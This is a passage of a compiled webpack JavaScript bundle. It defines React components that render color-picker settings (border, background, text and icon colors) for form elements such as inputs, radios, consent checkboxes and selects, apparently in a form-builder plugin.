function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }

function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }

function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }

var ResponseSuccessColors = function (_Component) {
	_inherits(ResponseSuccessColors, _Component);

	function ResponseSuccessColors(props) {
		_classCallCheck(this, ResponseSuccessColors);

		return _possibleConstructorReturn(this, (ResponseSuccessColors.__proto__ || Object.getPrototypeOf(ResponseSuccessColors)).call(this, props));
	}

	_createClass(ResponseSuccessColors, [{
		key: 'render',
		value: function render() {
			return _react2.default.createElement(
				_react2.default.Fragment,
				null,
				this.props.formDesign !== 'flat' && _react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
					defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#1ABCA1"),
					property: (0, _utils.getThemePrefix)(this.props) + 'response-success-border',
					label: (0, _utils.translate)('Border color'),
					isAlpha: true
				})),
				this.props.formDesign !== 'material' && _react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
					defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#BCEEE6"),
					property: (0, _utils.getThemePrefix)(this.props) + 'response-success-background',
					label: (0, _utils.translate)('Background color'),
					isAlpha: true
				})),
				_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
					defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#333333"),
					property: (0, _utils.getThemePrefix)(this.props) + 'response-success-color',
					label: (0, _utils.translate)('Text color')
				}))
			);
		}
	}]);

	return ResponseSuccessColors;
}(_react.Component);

exports.default = ResponseSuccessColors;

/***/ }),
/* 264 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";


Object.defineProperty(exports, "__esModule", {
	value: true
});

var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; };

var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();

var _react = __webpack_require__(0);

var _react2 = _interopRequireDefault(_react);

var _utils = __webpack_require__(1);

var _colorPicker = __webpack_require__(6);

var _colorPicker2 = _interopRequireDefault(_colorPicker);

function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }

function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }

function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }

function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }

var SectionColors = function (_Component) {
	_inherits(SectionColors, _Component);

	function SectionColors(props) {
		_classCallCheck(this, SectionColors);

		return _possibleConstructorReturn(this, (SectionColors.__proto__ || Object.getPrototypeOf(SectionColors)).call(this, props));
	}

	_createClass(SectionColors, [{
		key: 'render',
		value: function render() {
			return _react2.default.createElement(
				_react2.default.Fragment,
				null,
				_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
					label: (0, _utils.translate)('Title color'),
					property: (0, _utils.getThemePrefix)(this.props) + 'cform-title-color',
					defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#333333") })),
				_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
					label: (0, _utils.translate)('Subtitle color'),
					property: (0, _utils.getThemePrefix)(this.props) + 'cform-subtitle-color',
					defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#333333") }))
			);
		}
	}]);

	return SectionColors;
}(_react.Component);

exports.default = SectionColors;

/***/ }),
/* 265 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";


Object.defineProperty(exports, "__esModule", {
	value: true
});

var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; };

var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();

var _react = __webpack_require__(0);

var _react2 = _interopRequireDefault(_react);

var _utils = __webpack_require__(1);

var _colorPicker = __webpack_require__(6);

var _colorPicker2 = _interopRequireDefault(_colorPicker);

var _tabs = __webpack_require__(10);

var _tabs2 = _interopRequireDefault(_tabs);

var _container = __webpack_require__(4);

var _container2 = _interopRequireDefault(_container);

function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }

function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }

function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }

function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }

var InputsColors = function (_Component) {
	_inherits(InputsColors, _Component);

	function InputsColors(props) {
		_classCallCheck(this, InputsColors);

		return _possibleConstructorReturn(this, (InputsColors.__proto__ || Object.getPrototypeOf(InputsColors)).call(this, props));
	}

	_createClass(InputsColors, [{
		key: 'render',
		value: function render() {
			return _react2.default.createElement(
				_tabs2.default,
				{
					'default': 'default',
					type: 'tabs',
					extraClass: 'sui-tabs-flushed'
				},
				_react2.default.createElement(
					_container2.default,
					{
						label: (0, _utils.translate)('Default'),
						value: 'default'
					},
					this.props.formDesign !== 'flat' && _react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
						label: (0, _utils.translate)('Border color'),
						property: (0, _utils.getThemePrefix)(this.props) + 'input-border',
						defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#777771"),
						isAlpha: true
					})),
					this.props.formDesign !== 'material' && _react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
						label: (0, _utils.translate)('Background color'),
						property: (0, _utils.getThemePrefix)(this.props) + 'input-bg',
						defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#EDEDED"),
						isAlpha: true
					})),
					_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
						label: (0, _utils.translate)('Placeholder'),
						property: (0, _utils.getThemePrefix)(this.props) + 'input-placeholder',
						defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#888888")
					})),
					_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
						label: (0, _utils.translate)('Text color'),
						property: (0, _utils.getThemePrefix)(this.props) + 'input-color',
						defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#000000")
					}))
				),
				_react2.default.createElement(
					_container2.default,
					{
						label: (0, _utils.translate)('Hover'),
						value: 'hover'
					},
					this.props.formDesign !== 'flat' && _react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
						label: (0, _utils.translate)('Border color'),
						property: (0, _utils.getThemePrefix)(this.props) + 'input-border-hover',
						defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#17A8E3"),
						isAlpha: true
					})),
					this.props.formDesign !== 'material' && _react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
						label: (0, _utils.translate)('Background color'),
						property: (0, _utils.getThemePrefix)(this.props) + 'input-hover-bg',
						defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#E6E6E6"),
						isAlpha: true
					})),
					_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
						label: (0, _utils.translate)('Text color'),
						property: (0, _utils.getThemePrefix)(this.props) + 'input-hover-color',
						defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#000000")
					}))
				),
				_react2.default.createElement(
					_container2.default,
					{
						label: (0, _utils.translate)('Focus'),
						value: 'focus'
					},
					this.props.formDesign !== 'flat' && _react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
						label: (0, _utils.translate)('Border color'),
						property: (0, _utils.getThemePrefix)(this.props) + 'input-border-active',
						defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#17A8E3"),
						isAlpha: true
					})),
					this.props.formDesign !== 'material' && _react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
						label: (0, _utils.translate)('Background color'),
						property: (0, _utils.getThemePrefix)(this.props) + 'input-active-bg',
						defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#E6E6E6"),
						isAlpha: true
					})),
					_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
						label: (0, _utils.translate)('Text color'),
						property: (0, _utils.getThemePrefix)(this.props) + 'input-active-color',
						defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#000000")
					}))
				),
				this.props.formDesign !== 'material' && _react2.default.createElement(
					_container2.default,
					{
						label: (0, _utils.translate)('Error'),
						value: 'error'
					},
					_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
						defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#E04562"),
						property: (0, _utils.getThemePrefix)(this.props) + 'input-border-error',
						label: (0, _utils.translate)('Border color'),
						isAlpha: true
					}))
				)
			);
		}
	}]);

	return InputsColors;
}(_react.Component);

exports.default = InputsColors;

/***/ }),
/* 266 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";


Object.defineProperty(exports, "__esModule", {
	value: true
});

var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; };

var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();

var _react = __webpack_require__(0);

var _react2 = _interopRequireDefault(_react);

var _utils = __webpack_require__(1);

var _colorPicker = __webpack_require__(6);

var _colorPicker2 = _interopRequireDefault(_colorPicker);

var _tabs = __webpack_require__(10);

var _tabs2 = _interopRequireDefault(_tabs);

var _container = __webpack_require__(4);

var _container2 = _interopRequireDefault(_container);

function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }

function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }

function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }

function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }

var InputExtraColors = function (_Component) {
	_inherits(InputExtraColors, _Component);

	function InputExtraColors(props) {
		_classCallCheck(this, InputExtraColors);

		return _possibleConstructorReturn(this, (InputExtraColors.__proto__ || Object.getPrototypeOf(InputExtraColors)).call(this, props));
	}

	_createClass(InputExtraColors, [{
		key: 'render',
		value: function render() {
			var hasDatePicker = (0, _utils.hasFieldWithAttribute)(this.props.wrappers, 'date', 'field_type', 'picker');

			var hasCalculation = (0, _utils.hasFieldType)('calculation', this.props.wrappers);

			var hasCurrency = (0, _utils.hasFieldType)('currency', this.props.wrappers);

			var hasStripe = (0, _utils.hasFieldType)('stripe', this.props.wrappers);

			var content = _react2.default.createElement(
				_react2.default.Fragment,
				null,
				(hasDatePicker || hasStripe) && _react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
					property: (0, _utils.getThemePrefix)(this.props) + 'input-icon',
					defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#777771"),
					label: (0, _utils.translate)('Icon color')
				})),
				hasCalculation && _react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
					property: (0, _utils.getThemePrefix)(this.props) + 'prefix-color',
					defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#000000"),
					label: (0, _utils.translate)('Prefix color')
				})),
				(hasCurrency || hasCalculation) && _react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
					property: (0, _utils.getThemePrefix)(this.props) + 'suffix-color',
					defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#000000"),
					label: (0, _utils.translate)('Suffix color')
				}))
			);

			if (hasStripe) {
				content = _react2.default.createElement(
					_tabs2.default,
					{
						'default': 'default',
						type: 'tabs',
						extraClass: 'sui-tabs-flushed'
					},
					_react2.default.createElement(
						_container2.default,
						{
							label: (0, _utils.translate)('Default'),
							value: 'default'
						},
						(hasDatePicker || hasStripe) && _react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
							property: (0, _utils.getThemePrefix)(this.props) + 'input-icon',
							defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#777771"),
							label: (0, _utils.translate)('Icon color')
						})),
						hasCalculation && _react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
							property: (0, _utils.getThemePrefix)(this.props) + 'prefix-color',
							defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#000000"),
							label: (0, _utils.translate)('Prefix color')
						})),
						(hasCurrency || hasCalculation) && _react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
							property: (0, _utils.getThemePrefix)(this.props) + 'suffix-color',
							defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#000000"),
							label: (0, _utils.translate)('Suffix color')
						}))
					),
					_react2.default.createElement(
						_container2.default,
						{
							label: (0, _utils.translate)('Hover'),
							value: 'hover'
						},
						hasStripe && _react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
							property: (0, _utils.getThemePrefix)(this.props) + 'input-icon-hover',
							defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#17A8E3"),
							label: (0, _utils.translate)('Icon color')
						}))
					),
					_react2.default.createElement(
						_container2.default,
						{
							label: (0, _utils.translate)('Focus'),
							value: 'focus'
						},
						hasStripe && _react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
							property: (0, _utils.getThemePrefix)(this.props) + 'input-icon-focus',
							defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#17A8E3"),
							label: (0, _utils.translate)('Icon color')
						}))
					)
				);
			}

			return content;
		}
	}]);

	return InputExtraColors;
}(_react.Component);

exports.default = InputExtraColors;

/***/ }),
/* 267 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";


Object.defineProperty(exports, "__esModule", {
	value: true
});

var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; };

var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();

var _react = __webpack_require__(0);

var _react2 = _interopRequireDefault(_react);

var _utils = __webpack_require__(1);

var _colorPicker = __webpack_require__(6);

var _colorPicker2 = _interopRequireDefault(_colorPicker);

var _tabs = __webpack_require__(10);

var _tabs2 = _interopRequireDefault(_tabs);

var _container = __webpack_require__(4);

var _container2 = _interopRequireDefault(_container);

function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }

function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }

function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }

function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }

var RadioColors = function (_Component) {
	_inherits(RadioColors, _Component);

	function RadioColors(props) {
		_classCallCheck(this, RadioColors);

		return _possibleConstructorReturn(this, (RadioColors.__proto__ || Object.getPrototypeOf(RadioColors)).call(this, props));
	}

	_createClass(RadioColors, [{
		key: 'render',
		value: function render() {
			return _react2.default.createElement(
				_tabs2.default,
				{
					'default': 'default',
					type: 'tabs',
					extraClass: 'sui-tabs-flushed'
				},
				_react2.default.createElement(
					_container2.default,
					{
						label: (0, _utils.translate)('Default'),
						value: 'default'
					},
					this.props.formDesign !== 'flat' && _react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
						defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#777771"),
						property: (0, _utils.getThemePrefix)(this.props) + 'radio-border-static',
						label: (0, _utils.translate)('Border color'),
						isAlpha: true
					})),
					_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
						label: (0, _utils.translate)('Background color'),
						property: (0, _utils.getThemePrefix)(this.props) + 'radio-background-static',
						defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#EDEDED"),
						isAlpha: true
					})),
					_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
						label: (0, _utils.translate)('Text color'),
						property: (0, _utils.getThemePrefix)(this.props) + 'radio-label',
						defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#000000")
					})),
					this.props.formDesign !== 'flat' || this.props.formDesign !== 'material' && _react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
						label: (0, _utils.translate)('Image border'),
						property: (0, _utils.getThemePrefix)(this.props) + 'radio-image-border-static',
						defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#777771"),
						isAlpha: true
					})),
					this.props.formDesign !== 'material' && _react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
						label: (0, _utils.translate)('Image background'),
						property: (0, _utils.getThemePrefix)(this.props) + 'radio-image-background',
						defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#EDEDED"),
						isAlpha: true
					}))
				),
				_react2.default.createElement(
					_container2.default,
					{
						label: (0, _utils.translate)('Checked'),
						value: 'checked'
					},
					this.props.formDesign !== 'flat' && _react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
						label: (0, _utils.translate)('Border color'),
						property: (0, _utils.getThemePrefix)(this.props) + 'radio-border-active',
						defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#17A8E3"),
						isAlpha: true
					})),
					_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
						label: (0, _utils.translate)('Background color'),
						property: (0, _utils.getThemePrefix)(this.props) + 'radio-background-active',
						defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#EDEDED"),
						isAlpha: true
					})),
					_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
						label: (0, _utils.translate)('Icon color'),
						property: (0, _utils.getThemePrefix)(this.props) + 'radio-icon',
						defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#17A8E3")
					})),
					this.props.formDesign !== 'flat' || this.props.formDesign !== 'material' && _react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
						label: (0, _utils.translate)('Image border'),
						property: (0, _utils.getThemePrefix)(this.props) + 'radio-image-border-active',
						defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#17A8E3"),
						isAlpha: true
					})),
					this.props.formDesign !== 'material' && _react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
						label: (0, _utils.translate)('Image background'),
						property: (0, _utils.getThemePrefix)(this.props) + 'radio-image-background-active',
						defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#E1F6FF"),
						isAlpha: true
					}))
				),
				this.props.formDesign !== 'material' && _react2.default.createElement(
					_container2.default,
					{
						label: (0, _utils.translate)('Error'),
						value: 'error'
					},
					this.props.formDesign !== 'flat' && _react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
						defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#E04562"),
						property: (0, _utils.getThemePrefix)(this.props) + 'radio-border-error',
						label: (0, _utils.translate)('Border color'),
						isAlpha: true
					})),
					this.props.formDesign === 'flat' && _react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
						label: (0, _utils.translate)('Background color'),
						property: (0, _utils.getThemePrefix)(this.props) + 'radio-background-error',
						defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#F9E4E8"),
						isAlpha: true
					}))
				)
			);
		}
	}]);

	return RadioColors;
}(_react.Component);

exports.default = RadioColors;

/***/ }),
/* 268 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";


Object.defineProperty(exports, "__esModule", {
	value: true
});

var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; };

var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();

var _react = __webpack_require__(0);

var _react2 = _interopRequireDefault(_react);

var _utils = __webpack_require__(1);

var _colorPicker = __webpack_require__(6);

var _colorPicker2 = _interopRequireDefault(_colorPicker);

var _tabs = __webpack_require__(10);

var _tabs2 = _interopRequireDefault(_tabs);

var _container = __webpack_require__(4);

var _container2 = _interopRequireDefault(_container);

function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }

function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }

function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }

function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }

var ConsentColors = function (_Component) {
	_inherits(ConsentColors, _Component);

	function ConsentColors(props) {
		_classCallCheck(this, ConsentColors);

		return _possibleConstructorReturn(this, (ConsentColors.__proto__ || Object.getPrototypeOf(ConsentColors)).call(this, props));
	}

	_createClass(ConsentColors, [{
		key: 'render',
		value: function render() {
			return _react2.default.createElement(
				_tabs2.default,
				{
					'default': 'default',
					type: 'tabs',
					extraClass: 'sui-tabs-flushed'
				},
				_react2.default.createElement(
					_container2.default,
					{
						label: (0, _utils.translate)('Default'),
						value: 'default'
					},
					this.props.formDesign !== 'flat' && _react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
						defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#777771"),
						property: (0, _utils.getThemePrefix)(this.props) + 'consent-cbox-border-static',
						label: (0, _utils.translate)('Border color'),
						isAlpha: true
					})),
					_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
						label: (0, _utils.translate)('Background color'),
						property: (0, _utils.getThemePrefix)(this.props) + 'consent-cbox-background-static',
						defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#EDEDED"),
						isAlpha: true
					})),
					_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
						label: (0, _utils.translate)('Text color'),
						property: (0, _utils.getThemePrefix)(this.props) + 'consent-cbox-label',
						defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#000000")
					}))
				),
				_react2.default.createElement(
					_container2.default,
					{
						label: (0, _utils.translate)('Checked'),
						value: 'checked'
					},
					this.props.formDesign !== 'flat' && _react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
						label: (0, _utils.translate)('Border color'),
						property: (0, _utils.getThemePrefix)(this.props) + 'consent-cbox-border-active',
						defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#17A8E3"),
						isAlpha: true
					})),
					_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
						label: (0, _utils.translate)('Background color'),
						property: (0, _utils.getThemePrefix)(this.props) + 'consent-cbox-background-active',
						defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#EDEDED"),
						isAlpha: true
					})),
					_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
						label: (0, _utils.translate)('Icon color'),
						property: (0, _utils.getThemePrefix)(this.props) + 'consent-cbox-icon',
						defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#17A8E3")
					}))
				),
				this.props.formDesign !== 'material' && _react2.default.createElement(
					_container2.default,
					{
						label: (0, _utils.translate)('Error'),
						value: 'error'
					},
					this.props.formDesign !== 'flat' && _react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
						defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#E04562"),
						property: (0, _utils.getThemePrefix)(this.props) + 'consent-cbox-border-error',
						label: (0, _utils.translate)('Border color'),
						isAlpha: true
					})),
					this.props.formDesign === 'flat' && _react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
						label: (0, _utils.translate)('Background color'),
						property: (0, _utils.getThemePrefix)(this.props) + 'consent-cbox-background-error',
						defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#F9E4E8"),
						isAlpha: true
					}))
				)
			);
		}
	}]);

	return ConsentColors;
}(_react.Component);

exports.default = ConsentColors;

/***/ }),
/* 269 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";


Object.defineProperty(exports, "__esModule", {
	value: true
});

var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; };

var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();

var _react = __webpack_require__(0);

var _react2 = _interopRequireDefault(_react);

var _utils = __webpack_require__(1);

var _colorPicker = __webpack_require__(6);

var _colorPicker2 = _interopRequireDefault(_colorPicker);

var _tabs = __webpack_require__(10);

var _tabs2 = _interopRequireDefault(_tabs);

var _container = __webpack_require__(4);

var _container2 = _interopRequireDefault(_container);

function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }

function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }

function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }

function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }

var SelectColors = function (_Component) {
	_inherits(SelectColors, _Component);

	function SelectColors(props) {
		_classCallCheck(this, SelectColors);

		return _possibleConstructorReturn(this, (SelectColors.__proto__ || Object.getPrototypeOf(SelectColors)).call(this, props));
	}

	_createClass(SelectColors, [{
		key: 'render',
		value: function render() {
			return _react2.default.createElement(
				_tabs2.default,
				{
					'default': 'default',
					type: 'tabs',
					extraClass: 'sui-tabs-flushed'
				},
				_react2.default.createElement(
					_container2.default,
					{
						label: (0, _utils.translate)('Default'),
						value: 'default'
					},
					this.props.formDesign !== 'flat' && _react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
